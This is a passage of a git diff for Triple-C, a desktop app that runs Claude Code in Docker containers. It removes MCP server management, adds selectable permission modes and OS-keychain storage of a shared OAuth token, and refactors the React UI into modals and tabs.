claude_code_settings: Option, /// User-defined display names for terminal tabs, keyed by session id. #[serde(default)] @@ -212,7 +287,10 @@ impl Project { allow_docker_access: false, sandbox_mode_enabled: false, mission_control_enabled: false, + auth_bridge_enabled: false, + use_shared_auth_token: default_use_shared_auth_token(), full_permissions: false, + permission_mode: None, ssh_key_path: None, git_token: None, git_user_name: None, @@ -220,7 +298,6 @@ impl Project { custom_env_vars: Vec::new(), port_mappings: Vec::new(), claude_instructions: None, - enabled_mcp_servers: Vec::new(), claude_code_settings: None, renamed_session_names: HashMap::new(), created_at: now.clone(), @@ -228,6 +305,17 @@ impl Project { } } + /// The permission mode to actually use for this project. + /// Falls back to the legacy `full_permissions` boolean when the newer + /// `permission_mode` field has never been set. + pub fn effective_permission_mode(&self) -> PermissionMode { + self.permission_mode.unwrap_or(if self.full_permissions { + PermissionMode::Bypass + } else { + PermissionMode::Default + }) + } + pub fn container_name(&self) -> String { format!("triple-c-{}", self.id) } diff --git a/app/src-tauri/src/storage/mcp_store.rs b/app/src-tauri/src/storage/mcp_store.rs deleted file mode 100644 index b28c99b..0000000 --- a/app/src-tauri/src/storage/mcp_store.rs +++ /dev/null @@ -1,106 +0,0 @@ -use std::fs; -use std::path::PathBuf; -use std::sync::Mutex; - -use crate::models::McpServer; - -pub struct McpStore { - servers: Mutex>, - file_path: PathBuf, -} - -impl McpStore { - pub fn new() -> Result { - let data_dir = dirs::data_dir() - .ok_or_else(|| "Could not determine data directory. Set XDG_DATA_HOME on Linux.".to_string())? - .join("triple-c"); - - fs::create_dir_all(&data_dir).ok(); - - let file_path = data_dir.join("mcp_servers.json"); - - let servers = if file_path.exists() { - match fs::read_to_string(&file_path) { - Ok(data) => { - match serde_json::from_str::>(&data) { - Ok(parsed) => parsed, - Err(e) => { - log::error!("Failed to parse mcp_servers.json: {}. Starting with empty list.", e); - let backup = file_path.with_extension("json.bak"); - if let Err(be) = fs::copy(&file_path, &backup) { - log::error!("Failed to back up corrupted mcp_servers.json: {}", be); - } - Vec::new() - } - } - } - Err(e) => { - log::error!("Failed to read mcp_servers.json: {}", e); - Vec::new() - } - } - } else { - Vec::new() - }; - - Ok(Self { - servers: Mutex::new(servers), - file_path, - }) - } - - fn lock(&self) -> std::sync::MutexGuard<'_, Vec> { - self.servers.lock().unwrap_or_else(|e| e.into_inner()) - } - - fn save(&self, servers: &[McpServer]) -> Result<(), String> { - let data = serde_json::to_string_pretty(servers) - .map_err(|e| format!("Failed to serialize MCP servers: {}", e))?; - - // Atomic write: write to temp file, then rename - let tmp_path = self.file_path.with_extension("json.tmp"); - fs::write(&tmp_path, data) - .map_err(|e| format!("Failed to write temp MCP servers file: {}", e))?; - fs::rename(&tmp_path, &self.file_path) - .map_err(|e| format!("Failed to rename MCP servers file: {}", e))?; - Ok(()) - } - - pub fn list(&self) -> Vec { - self.lock().clone() - } - - pub fn get(&self, id: &str) -> Option { - self.lock().iter().find(|s| s.id == id).cloned() - } - - pub fn add(&self, server: McpServer) -> Result { - let mut servers = self.lock(); - let cloned = server.clone(); - servers.push(server); - self.save(&servers)?; - Ok(cloned) - } - - pub fn update(&self, updated: McpServer) -> Result { - let mut servers = self.lock(); - if let Some(s) = servers.iter_mut().find(|s| s.id == updated.id) { - *s = updated.clone(); - self.save(&servers)?; - Ok(updated) - } else { - Err(format!("MCP server {} not found", updated.id)) - } - } - - pub fn remove(&self, id: &str) -> Result<(), String> { - let mut servers = self.lock(); - let initial_len = servers.len(); - servers.retain(|s| s.id != id); - if servers.len() == initial_len { - return Err(format!("MCP server {} not found", id)); - } - self.save(&servers)?; - Ok(()) - } -} diff --git a/app/src-tauri/src/storage/mod.rs b/app/src-tauri/src/storage/mod.rs index 6183392..ca3a674 100644 --- a/app/src-tauri/src/storage/mod.rs +++ b/app/src-tauri/src/storage/mod.rs @@ -1,7 +1,6 @@ pub mod projects_store; pub mod secure; pub mod settings_store; -pub mod mcp_store; #[allow(unused_imports)] pub use projects_store::*; @@ -9,5 +8,3 @@ pub use projects_store::*; pub use secure::*; #[allow(unused_imports)] pub use settings_store::*; -#[allow(unused_imports)] -pub use mcp_store::*; diff --git a/app/src-tauri/src/storage/projects_store.rs b/app/src-tauri/src/storage/projects_store.rs index 6028e70..dbf4eb6 100644 --- a/app/src-tauri/src/storage/projects_store.rs +++ b/app/src-tauri/src/storage/projects_store.rs @@ -177,6 +177,20 @@ impl ProjectsStore { } } + /// Granular setter for the auth bridge opt-in, so toggling it can't clobber + /// concurrent edits to the rest of the project record. + pub fn set_auth_bridge_enabled(&self, project_id: &str, enabled: bool) -> Result<(), String> { + let mut projects = self.lock(); + if let Some(p) = projects.iter_mut().find(|p| p.id == project_id) { + p.auth_bridge_enabled = enabled; + p.updated_at = chrono::Utc::now().to_rfc3339(); + self.save(&projects)?; + Ok(()) + } else { + Err(format!("Project {} not found", project_id)) + } + } + pub fn set_container_id(&self, project_id: &str, container_id: Option) -> Result<(), String> { let mut projects = self.lock(); if let Some(p) = projects.iter_mut().find(|p| p.id == project_id) { diff --git a/app/src-tauri/src/storage/secure.rs b/app/src-tauri/src/storage/secure.rs index ba47154..cd972b9 100644 --- a/app/src-tauri/src/storage/secure.rs +++ b/app/src-tauri/src/storage/secure.rs @@ -1,3 +1,31 @@ +//! OS keychain access, via the `keyring` crate. +//! +//! Two kinds of secret live here: +//! * **per-project** secrets (git token, AWS keys, …), keyed by project id; +//! * the **shared Claude Code OAuth token**, which is global — one +//! `claude setup-token` run authenticates every Anthropic-backend project. +//! +//! Nothing in this module ever logs a secret or folds one into an error string. + +/// Keychain service for the single, global Claude Code OAuth token minted by +/// `claude setup-token` and consumed via `CLAUDE_CODE_OAUTH_TOKEN`. +const CLAUDE_TOKEN_SERVICE: &str = "triple-c-claude-oauth-token"; + +/// Keychain service for the token's **rotation id** — a fresh random value +/// written every time the token is stored. +/// +/// Container recreation is driven off Docker labels, which anything on the host +/// can read with `docker inspect`. The token itself must obviously not go in a +/// label, and neither should a bare hash of it: a hash is a verification oracle +/// (holding a candidate token, you could confirm it). This id is not derived +/// from the token at all — it is unrelated random data that merely *changes* +/// whenever the token does, which is exactly (and only) what change detection +/// needs. +const CLAUDE_TOKEN_VERSION_SERVICE: &str = "triple-c-claude-oauth-token-version"; + +/// Fixed account name used for every triple-c keychain entry. +const KEYCHAIN_ACCOUNT: &str = "secret"; + /// Store a per-project secret in the OS keychain. pub fn store_project_secret(project_id: &str, key_name: &str, value: &str) -> Result<(), String> { let service = format!("triple-c-project-{}-{}", project_id, key_name); @@ -43,3 +71,88 @@ pub fn delete_project_secrets(project_id: &str) -> Result<(), String> { } Ok(()) } + +// ───────────────────────────────────────────────────────────────────────────── +// Shared Claude Code OAuth token (global, not per project) +// ───────────────────────────────────────────────────────────────────────────── + +/// Read a single-value keychain entry. `Ok(None)` when the entry is absent. +/// The error text names the entry, never its value. +fn read_entry(service: &str, label: &str) -> Result, String> { + let entry = keyring::Entry::new(service, KEYCHAIN_ACCOUNT) + .map_err(|e| format!("Keyring error: {}", e))?; + match entry.get_password() { + Ok(value) => Ok(Some(value)), + Err(keyring::Error::NoEntry) => Ok(None), + Err(e) => Err(format!("Failed to retrieve {}: {}", label, e)), + } +} + +/// Delete a keychain entry, treating "wasn't there" as success. +fn delete_entry(service: &str, label: &str) -> Result<(), String> { + let entry = keyring::Entry::new(service, KEYCHAIN_ACCOUNT) + .map_err(|e| format!("Keyring error: {}", e))?; + match entry.delete_credential() { + Ok(()) | Err(keyring::Error::NoEntry) => Ok(()), + Err(e) => Err(format!("Failed to delete {}: {}", label, e)), + } +} + +/// Store the shared Claude Code OAuth token, replacing any previous one, and +/// mint a fresh rotation id so containers holding the old token are flagged for +/// recreation. Blank input is rejected rather than silently stored. +pub fn store_claude_oauth_token(token: &str) -> Result<(), String> { + if token.trim().is_empty() { + return Err("Refusing to store an empty Claude authentication token.".to_string()); + } + + let entry = keyring::Entry::new(CLAUDE_TOKEN_SERVICE, KEYCHAIN_ACCOUNT) + .map_err(|e| format!("Keyring error: {}", e))?; + entry + .set_password(token) + .map_err(|e| format!("Failed to store the Claude authentication token: {}", e))?; + + // Rotation id second: if this fails the token is still usable, and the + // stale id only costs one extra container recreation later. + let version = uuid::Uuid::new_v4().to_string(); + let version_entry = keyring::Entry::new(CLAUDE_TOKEN_VERSION_SERVICE, KEYCHAIN_ACCOUNT) + .map_err(|e| format!("Keyring error: {}", e))?; + version_entry + .set_password(&version) + .map_err(|e| format!("Failed to store the Claude token rotation id: {}", e))?; + + Ok(()) +} + +/// Retrieve the shared Claude Code OAuth token, if one has been stored. +pub fn get_claude_oauth_token() -> Result, String> { + read_entry(CLAUDE_TOKEN_SERVICE, "the Claude authentication token") +} + +/// The rotation id of the currently stored token. Opaque random data — safe to +/// put in a Docker label, unlike the token or any hash of it. +pub fn get_claude_oauth_token_version() -> Result, String> { + read_entry( + CLAUDE_TOKEN_VERSION_SERVICE, + "the Claude token rotation id", + ) +} + +/// Whether a shared Claude Code OAuth token is currently stored. A keychain +/// failure is reported as "no token" rather than surfacing as an error, so the +/// UI degrades to the un-authenticated state instead of breaking. +pub fn has_claude_oauth_token() -> bool { + matches!(get_claude_oauth_token(), Ok(Some(t)) if !t.trim().is_empty()) +} + +/// Delete the shared Claude Code OAuth token and its rotation id. Both are +/// attempted even if the first fails, so a partial failure cannot strand the +/// token behind a deleted id. +pub fn delete_claude_oauth_token() -> Result<(), String> { + let token_result = delete_entry(CLAUDE_TOKEN_SERVICE, "the Claude authentication token"); + let version_result = delete_entry( + CLAUDE_TOKEN_VERSION_SERVICE, + "the Claude token rotation id", + ); + token_result.and(version_result) +} diff --git a/app/src-tauri/src/web_terminal/ws_handler.rs b/app/src-tauri/src/web_terminal/ws_handler.rs index 3a49b18..bcafb11 100644 --- a/app/src-tauri/src/web_terminal/ws_handler.rs +++ b/app/src-tauri/src/web_terminal/ws_handler.rs @@ -205,11 +205,11 @@ fn build_terminal_cmd(project: &Project, settings_store: &crate::storage::settin .map(|b| b.auth_method == BedrockAuthMethod::Profile) .unwrap_or(false); + let permission_args = project.effective_permission_mode().cli_args(); + if !is_bedrock_profile { let mut cmd = vec!["claude".to_string()]; - if project.full_permissions { - cmd.push("--dangerously-skip-permissions".to_string()); - } + cmd.extend(permission_args); return cmd; } @@ -218,11 +218,13 @@ fn build_terminal_cmd(project: &Project, settings_store: &crate::storage::settin settings_store.get().global_aws.aws_profile.as_deref(), ); - let claude_cmd = if project.full_permissions { - "exec claude --dangerously-skip-permissions" - } else { - "exec claude" - }; + // The args are interpolated into a shell script string below, so + // single-quote each one. + let permission_flags: String = permission_args + .iter() + .map(|a| format!(" '{}'", a.replace('\'', "'\\''"))) + .collect(); + let claude_cmd = format!("exec claude{}", permission_flags); let script = format!( r#" diff --git a/app/src/App.tsx b/app/src/App.tsx index 79d00ca..f408a6f 100644 --- a/app/src/App.tsx +++ b/app/src/App.tsx @@ -5,25 +5,38 @@ import TopBar from "./components/layout/TopBar"; import StatusBar from "./components/layout/StatusBar"; import TerminalView from "./components/terminal/TerminalView"; import DockerInstallDialog from "./components/DockerInstallDialog"; +import ProjectHome from "./components/projects/home/ProjectHome"; +import AddProjectDialog from "./components/projects/AddProjectDialog"; +import ToastHost from "./components/ui/ToastHost"; +import StatusIndicator from "./components/ui/StatusIndicator"; +import Button from "./components/ui/Button"; import { useDocker } from "./hooks/useDocker"; import { useSettings } from "./hooks/useSettings"; import { useProjects } from "./hooks/useProjects"; -import { useMcpServers } from "./hooks/useMcpServers"; import { useUpdates } from "./hooks/useUpdates"; import { useTerminal } from "./hooks/useTerminal"; import { useSTT } from "./hooks/useSTT"; -import { useAppState } from "./store/appState"; +import { useContainerProgress } from "./hooks/useContainerProgress"; +import { useKeyboardShortcuts } from "./hooks/useKeyboardShortcuts"; +import { useAppState, isHomeTab, tabKeyId, homeTabKey } from "./store/appState"; import { reconcileProjectStatuses } from "./lib/tauri-commands"; export default function App() { const { checkDocker, checkImage, startDockerPolling } = useDocker(); const { loadSettings } = useSettings(); const { refresh } = useProjects(); - const { refresh: refreshMcp } = useMcpServers(); const { loadVersion, checkForUpdates, checkImageUpdate, startPeriodicCheck } = useUpdates(); - const { sessions, activeSessionId, setProjects, setSttToggle } = useAppState( - useShallow(s => ({ sessions: s.sessions, activeSessionId: s.activeSessionId, setProjects: s.setProjects, setSttToggle: s.setSttToggle })) - ); + const { sessions, activeSessionId, tabOrder, activeTabKey, setProjects, setSttToggle } = + useAppState( + useShallow(s => ({ + sessions: s.sessions, + activeSessionId: s.activeSessionId, + tabOrder: s.tabOrder, + activeTabKey: s.activeTabKey, + setProjects: s.setProjects, + setSttToggle: s.setSttToggle, + })) + ); const [showInstallDialog, setShowInstallDialog] = useState(false); // Single STT instance bound to the active session. The mic lives in the @@ -35,6 +48,9 @@ export default function App() { setSttToggle(stt.toggle); }, [stt.toggle, setSttToggle]); + useContainerProgress(); + useKeyboardShortcuts(); + // Initialize on mount useEffect(() => { loadSettings(); @@ -56,7 +72,6 @@ export default function App() { } }); refresh(); - refreshMcp(); // Update detection loadVersion(); @@ -72,16 +87,25 @@ export default function App() { }; }, []); // eslint-disable-line react-hooks/exhaustive-deps + const homeProjectIds = tabOrder.filter(isHomeTab).map(tabKeyId); + return ( -
+
-
+
-
- {sessions.length === 0 ? ( +
+ {tabOrder.length === 0 ? ( ) : (
+ {homeProjectIds.map((projectId) => ( + + ))} {sessions.map((session) => (
+ {showInstallDialog && ( setShowInstallDialog(false)} /> )} @@ -101,18 +126,96 @@ export default function App() { ); } +/** + * First run is a checklist, not a paragraph: it reuses state the app already + * tracks and ends in a real button. + */ function WelcomeScreen() { + const { dockerAvailable, imageExists, projects, openProjectHome } = useAppState( + useShallow((s) => ({ + dockerAvailable: s.dockerAvailable, + imageExists: s.imageExists, + projects: s.projects, + openProjectHome: s.openProjectHome, + })), + ); + const [showAdd, setShowAdd] = useState(false); + + const steps: { + label: string; + state: boolean | null; + pendingLabel: string; + failLabel: string; + }[] = [ + { + label: "Docker detected", + state: dockerAvailable, + pendingLabel: "Checking for Docker…", + failLabel: "Docker not available", + }, + { + label: "Container image ready", + state: imageExists, + pendingLabel: "Checking for the image…", + failLabel: "Image not pulled yet — see Settings › Container", + }, + { + label: `${projects.length} project${projects.length === 1 ? "" : "s"} configured`, + state: projects.length > 0 ? true : false, + pendingLabel: "", + failLabel: "No projects yet", + }, + ]; + return ( -
-
-

- Triple-C -

-

Claude Code Container

-

- Add a project from the sidebar, start its container, then open a - terminal to begin using Claude Code in a sandboxed environment. +

+
+

Triple-C

+

+ Claude Code, sandboxed in a container.

+ +
    + {steps.map((step) => ( +
  1. + +
  2. + ))} +
+ +
+ + {projects.length > 0 && ( + + )} +
+ +

+ Then start its container and press{" "} + + Ctrl+T + {" "} + to open a Claude terminal. +

+ + {showAdd && setShowAdd(false)} />}
); diff --git a/app/src/components/DockerInstallDialog.tsx b/app/src/components/DockerInstallDialog.tsx index 69ddef2..cb3d712 100644 --- a/app/src/components/DockerInstallDialog.tsx +++ b/app/src/components/DockerInstallDialog.tsx @@ -1,7 +1,9 @@ -import { useCallback, useEffect, useRef, useState } from "react"; +import { useEffect, useState } from "react"; import { openUrl } from "@tauri-apps/plugin-opener"; import { useInstallHelper } from "../hooks/useInstallHelper"; import { useDocker } from "../hooks/useDocker"; +import Modal from "./ui/Modal"; +import Button from "./ui/Button"; interface Props { onClose: () => void; @@ -16,27 +18,11 @@ export default function DockerInstallDialog({ onClose }: Props) { const [phase, setPhase] = useState("idle"); const [log, setLog] = useState([]); const [error, setError] = useState(null); - const overlayRef = useRef(null); useEffect(() => { loadOptions(); }, [loadOptions]); - useEffect(() => { - const onKey = (e: KeyboardEvent) => { - if (e.key === "Escape" && phase !== "installing") onClose(); - }; - document.addEventListener("keydown", onKey); - return () => document.removeEventListener("keydown", onKey); - }, [onClose, phase]); - - const handleOverlayClick = useCallback( - (e: React.MouseEvent) => { - if (e.target === overlayRef.current && phase !== "installing") onClose(); - }, - [onClose, phase], - ); - const handleInstall = async () => { setPhase("installing"); setLog([]); @@ -70,142 +56,122 @@ export default function DockerInstallDialog({ onClose }: Props) { return null; } - const installVerb = phase === "installing" ? "Installing…" : `Install ${options.product_name}`; + const installVerb = + phase === "installing" ? "Installing…" : `Install ${options.product_name}`; return ( -
+ Dismiss + + ) : undefined + } > -
-

Docker not detected

-

- Triple-C needs a Docker-compatible runtime to manage sandboxed project containers. - We can install {options.product_name}{" "} - for you, or you can follow the official instructions. -

+

+ Triple-C needs a Docker-compatible runtime to manage sandboxed project + containers. We can install{" "} + {options.product_name} for + you, or you can follow the official instructions. +

- {phase === "idle" && ( -
- {options.can_auto_install ? ( - - ) : ( -
- One-click install unavailable:{" "} - - {options.auto_install_blocker ?? "required tooling missing."} - -
- )} - - - - -
- )} - - {phase === "installing" && ( -
- Installing… a system password prompt may appear. Do not close this window. -
- )} - - {phase === "done" && ( -
-
Install finished.
- {options.post_install_notes.length > 0 && ( -
    - {options.post_install_notes.map((note, i) => ( -
  • {note}
  • - ))} -
- )} -
- - + {phase === "idle" && ( +
+ {options.can_auto_install ? ( + + ) : ( +
+ One-click install unavailable:{" "} + + {options.auto_install_blocker ?? "required tooling missing."} +
-
- )} + )} - {phase === "error" && ( -
-
Install failed.
- {error &&
{error}
} -
- - -
-
- )} + - {(showManual || phase === "error") && ( -
-
- Manual install steps -
-
    - {options.manual_steps.map((step, i) => ( -
  1. {step}
  2. + +
+ )} + + {phase === "installing" && ( +
+ Installing… a system password prompt may appear. Do not close this window. +
+ )} + + {phase === "done" && ( +
+
Install finished.
+ {options.post_install_notes.length > 0 && ( +
    + {options.post_install_notes.map((note, i) => ( +
  • {note}
  • ))} - +
+ )} +
+ +
- )} +
+ )} - {log.length > 0 && ( -
- {log.map((line, i) => ( -
{line}
+ {phase === "error" && ( +
+
Install failed.
+ {error && ( +
+ {error} +
+ )} +
+ + +
+
+ )} + + {(showManual || phase === "error") && ( +
+
+ Manual install steps +
+
    + {options.manual_steps.map((step, i) => ( +
  1. {step}
  2. ))} -
- )} + +
+ )} - {phase === "idle" && ( -
- -
- )} -
-
+ {log.length > 0 && ( +
+ {log.map((line, i) => ( +
{line}
+ ))} +
+ )} + ); } diff --git a/app/src/components/layout/HelpDialog.tsx b/app/src/components/layout/HelpDialog.tsx index 2152673..6d2590e 100644 --- a/app/src/components/layout/HelpDialog.tsx +++ b/app/src/components/layout/HelpDialog.tsx @@ -1,5 +1,7 @@ import { useEffect, useRef, useCallback, useState } from "react"; import { getHelpContent } from "../../lib/tauri-commands"; +import Modal from "../ui/Modal"; +import Button from "../ui/Button"; interface Props { onClose: () => void; @@ -140,32 +142,16 @@ function renderMarkdown(md: string): string { } export default function HelpDialog({ onClose }: Props) { - const overlayRef = useRef(null); const contentRef = useRef(null); const [markdown, setMarkdown] = useState(null); const [error, setError] = useState(null); - useEffect(() => { - const handleKeyDown = (e: KeyboardEvent) => { - if (e.key === "Escape") onClose(); - }; - document.addEventListener("keydown", handleKeyDown); - return () => document.removeEventListener("keydown", handleKeyDown); - }, [onClose]); - useEffect(() => { getHelpContent() .then(setMarkdown) .catch((e) => setError(String(e))); }, []); - const handleOverlayClick = useCallback( - (e: React.MouseEvent) => { - if (e.target === overlayRef.current) onClose(); - }, - [onClose], - ); - // Handle anchor link clicks to scroll within the dialog const handleContentClick = useCallback((e: React.MouseEvent) => { const target = e.target as HTMLElement; @@ -179,40 +165,25 @@ export default function HelpDialog({ onClose }: Props) { }, []); return ( -
Close} > -
- {/* Header */} -
-

How to Use Triple-C

- -
- - {/* Scrollable content */} -
- {error && ( -

Failed to load help content: {error}

- )} - {!markdown && !error && ( -

Loading...

- )} - {markdown && ( -
- )} -
+
+ {error && ( +

+ Failed to load help content: {error} +

+ )} + {!markdown && !error && ( +

Loading…

+ )} + {markdown && ( +
+ )}
-
+ ); } diff --git a/app/src/components/layout/MainTabs.tsx b/app/src/components/layout/MainTabs.tsx new file mode 100644 index 0000000..5d768c6 --- /dev/null +++ b/app/src/components/layout/MainTabs.tsx @@ -0,0 +1,328 @@ +import { useEffect, useRef, useState } from "react"; +import { useShallow } from "zustand/react/shallow"; +import { useTerminal } from "../../hooks/useTerminal"; +import { useProjects } from "../../hooks/useProjects"; +import { + useAppState, + isHomeTab, + tabKeyId, + terminalTabKey, +} from "../../store/appState"; +import { effectivePermissionMode } from "../projects/PermissionModeControl"; +import { ProjectStatusIndicator } from "../ui/StatusIndicator"; +import type { PermissionMode } from "../../lib/types"; + +interface ContextMenuState { + sessionId: string; + x: number; + y: number; +} + +const MODE_BADGE: Record = { + plan: { text: "plan", className: "bg-[var(--bg-tertiary)] text-[var(--text-secondary)]" }, + default: { text: "ask", className: "bg-[var(--bg-tertiary)] text-[var(--text-secondary)]" }, + acceptEdits: { text: "edits", className: "bg-[var(--accent-muted)] text-[var(--accent)]" }, + bypass: { text: "bypass", className: "bg-[var(--warning-muted)] text-[var(--warning)]" }, +}; + +/** + * One strip for both main-area tab kinds: Project Home views (⌂) and + * terminals (▣). + */ +export default function MainTabs() { + const { sessions, close } = useTerminal(); + const { projects, update } = useProjects(); + const { tabOrder, activeTabKey, setActiveTabKey, closeHomeTab } = useAppState( + useShallow((s) => ({ + tabOrder: s.tabOrder, + activeTabKey: s.activeTabKey, + setActiveTabKey: s.setActiveTabKey, + closeHomeTab: s.closeHomeTab, + })), + ); + const [menu, setMenu] = useState(null); + const [renamingId, setRenamingId] = useState(null); + const [renameDraft, setRenameDraft] = useState(""); + const renameInputRef = useRef(null); + + useEffect(() => { + if (!menu) return; + const dismiss = () => setMenu(null); + window.addEventListener("click", dismiss); + window.addEventListener("scroll", dismiss, true); + return () => { + window.removeEventListener("click", dismiss); + window.removeEventListener("scroll", dismiss, true); + }; + }, [menu]); + + useEffect(() => { + if (renamingId) { + renameInputRef.current?.focus(); + renameInputRef.current?.select(); + } + }, [renamingId]); + + if (tabOrder.length === 0) { + return ( +
+ No open tabs — select a project to open its home view. +
+ ); + } + + const getCustomName = (projectId: string, sessionId: string): string | null => { + const project = projects.find((p) => p.id === projectId); + return project?.renamed_session_names?.[sessionId] ?? null; + }; + + const startRename = (sessionId: string) => { + const session = sessions.find((s) => s.id === sessionId); + if (!session) return; + const current = + getCustomName(session.projectId, sessionId) ?? + session.sessionName ?? + session.projectName; + setRenameDraft(current); + setRenamingId(sessionId); + setMenu(null); + }; + + const commitRename = async (sessionId: string) => { + const session = sessions.find((s) => s.id === sessionId); + if (!session) { + setRenamingId(null); + return; + } + const project = projects.find((p) => p.id === session.projectId); + if (!project) { + setRenamingId(null); + return; + } + const trimmed = renameDraft.trim(); + const map = { ...(project.renamed_session_names ?? {}) }; + if (trimmed) { + map[sessionId] = trimmed; + } else { + delete map[sessionId]; + } + try { + await update({ ...project, renamed_session_names: map }); + } catch (err) { + console.error("Failed to rename terminal tab:", err); + } finally { + setRenamingId(null); + } + }; + + const clearCustomName = async (sessionId: string) => { + const session = sessions.find((s) => s.id === sessionId); + if (!session) return; + const project = projects.find((p) => p.id === session.projectId); + if (!project) return; + const map = { ...(project.renamed_session_names ?? {}) }; + if (!(sessionId in map)) { + setMenu(null); + return; + } + delete map[sessionId]; + try { + await update({ ...project, renamed_session_names: map }); + } catch (err) { + console.error("Failed to reset terminal tab name:", err); + } finally { + setMenu(null); + } + }; + + const tabClass = (active: boolean) => + `flex items-center gap-1.5 pl-3 pr-1.5 h-full text-xs cursor-pointer border-r border-[var(--border-color)] transition-colors ${ + active + ? "bg-[var(--bg-primary)] text-[var(--text-primary)]" + : "text-[var(--text-secondary)] hover:text-[var(--text-primary)]" + }`; + + return ( +
+ {tabOrder.map((key) => { + const active = activeTabKey === key; + + if (isHomeTab(key)) { + const projectId = tabKeyId(key); + const project = projects.find((p) => p.id === projectId); + if (!project) return null; + return ( +
setActiveTabKey(key)} + onKeyDown={(e) => { + if (e.key === "Enter" || e.key === " ") { + e.preventDefault(); + setActiveTabKey(key); + } + }} + className={tabClass(active)} + > + + + {project.name} + + + +
+ ); + } + + const sessionId = tabKeyId(key); + const session = sessions.find((s) => s.id === sessionId); + if (!session) return null; + const project = projects.find((p) => p.id === session.projectId); + const customName = getCustomName(session.projectId, session.id); + const baseLabel = + (session.sessionName ?? session.projectName) + + (session.sessionType === "bash" ? " (bash)" : ""); + const displayLabel = customName + ? `${session.projectName}: ${customName}` + : baseLabel; + const isRenaming = renamingId === session.id; + const badge = project ? MODE_BADGE[effectivePermissionMode(project)] : null; + + return ( +
setActiveTabKey(terminalTabKey(session.id))} + onKeyDown={(e) => { + if (e.key === "Enter" || e.key === " ") { + e.preventDefault(); + setActiveTabKey(terminalTabKey(session.id)); + } + }} + onContextMenu={(e) => { + e.preventDefault(); + setMenu({ sessionId: session.id, x: e.clientX, y: e.clientY }); + }} + onDoubleClick={() => startRename(session.id)} + className={tabClass(active)} + > + + {isRenaming ? ( + setRenameDraft(e.target.value)} + onClick={(e) => e.stopPropagation()} + onBlur={() => commitRename(session.id)} + onKeyDown={(e) => { + if (e.key === "Enter") (e.target as HTMLInputElement).blur(); + if (e.key === "Escape") setRenamingId(null); + }} + className="max-w-[180px] px-1 py-0 bg-[var(--bg-primary)] border border-[var(--accent)] rounded-[var(--radius-control)] text-xs text-[var(--text-primary)]" + /> + ) : ( + + {displayLabel} + + )} + {badge && ( + + {badge.text} + + )} + +
+ ); + })} + + {menu && (() => { + const session = sessions.find((s) => s.id === menu.sessionId); + const hasCustom = session + ? !!getCustomName(session.projectId, menu.sessionId) + : false; + return ( +
e.stopPropagation()} + > + + {hasCustom && ( + + )} + {session && ( + + )} +
+ +
+ ); + })()} +
+ ); +} diff --git a/app/src/components/layout/Sidebar.test.tsx b/app/src/components/layout/Sidebar.test.tsx index be5c22c..03ea549 100644 --- a/app/src/components/layout/Sidebar.test.tsx +++ b/app/src/components/layout/Sidebar.test.tsx @@ -22,9 +22,6 @@ vi.mock("../projects/ProjectList", () => ({ vi.mock("../settings/SettingsPanel", () => ({ default: () =>
SettingsPanel
, })); -vi.mock("../mcp/McpPanel", () => ({ - default: () =>
McpPanel
, -})); describe("Sidebar", () => { beforeEach(() => { @@ -37,6 +34,12 @@ describe("Sidebar", () => { expect(screen.getByText("Settings")).toBeInTheDocument(); }); + it("renders the project list, not a settings form, in the projects view", () => { + render(); + expect(screen.getByTestId("project-list")).toBeInTheDocument(); + expect(screen.queryByTestId("settings-panel")).not.toBeInTheDocument(); + }); + it("content area has min-w-0 to prevent flex overflow", () => { const { container } = render(); const contentArea = container.querySelector(".overflow-y-auto"); diff --git a/app/src/components/layout/Sidebar.tsx b/app/src/components/layout/Sidebar.tsx index 2c3bbfc..af4824e 100644 --- a/app/src/components/layout/Sidebar.tsx +++ b/app/src/components/layout/Sidebar.tsx @@ -2,10 +2,9 @@ import type { ReactNode } from "react"; import { useShallow } from "zustand/react/shallow"; import { useAppState } from "../../store/appState"; import ProjectList from "../projects/ProjectList"; -import McpPanel from "../mcp/McpPanel"; import SettingsPanel from "../settings/SettingsPanel"; -type SidebarView = "projects" | "mcp" | "settings"; +type SidebarView = "projects" | "settings"; const RAIL_ICONS: { view: SidebarView; label: string; icon: ReactNode }[] = [ { @@ -17,18 +16,6 @@ const RAIL_ICONS: { view: SidebarView; label: string; icon: ReactNode }[] = [ ), }, - { - view: "mcp", - label: "MCP", - icon: ( - - - - - - - ), - }, { view: "settings", label: "Settings", @@ -76,7 +63,7 @@ export default function Sidebar() { }; return ( -
+
- @@ -128,13 +112,7 @@ export default function Sidebar() { {/* Content */}
- {sidebarView === "projects" ? ( - - ) : sidebarView === "mcp" ? ( - - ) : ( - - )} + {sidebarView === "projects" ? : }
); diff --git a/app/src/components/layout/StatusBar.tsx b/app/src/components/layout/StatusBar.tsx index 291ad18..d52cca8 100644 --- a/app/src/components/layout/StatusBar.tsx +++ b/app/src/components/layout/StatusBar.tsx @@ -25,7 +25,7 @@ export default function StatusBar({ stt }: Props) { const running = projects.filter((p) => p.status === "running").length; return ( -
+
{projects.length} project{projects.length !== 1 ? "s" : ""} diff --git a/app/src/components/layout/TopBar.tsx b/app/src/components/layout/TopBar.tsx index f1a3e6f..2f9f9fc 100644 --- a/app/src/components/layout/TopBar.tsx +++ b/app/src/components/layout/TopBar.tsx @@ -1,11 +1,12 @@ import { useState } from "react"; import { useShallow } from "zustand/react/shallow"; -import TerminalTabs from "../terminal/TerminalTabs"; +import MainTabs from "./MainTabs"; import { useAppState } from "../../store/appState"; import { useSettings } from "../../hooks/useSettings"; import UpdateDialog from "../settings/UpdateDialog"; import ImageUpdateDialog from "../settings/ImageUpdateDialog"; import HelpDialog from "./HelpDialog"; +import StatusIndicator, { type StatusTone } from "../ui/StatusIndicator"; export default function TopBar() { const { dockerAvailable, imageExists, updateInfo, imageUpdateInfo, appVersion, setUpdateInfo, setImageUpdateInfo } = useAppState( @@ -48,34 +49,48 @@ export default function TopBar() { return ( <> -
-
- +
+
+
-
+
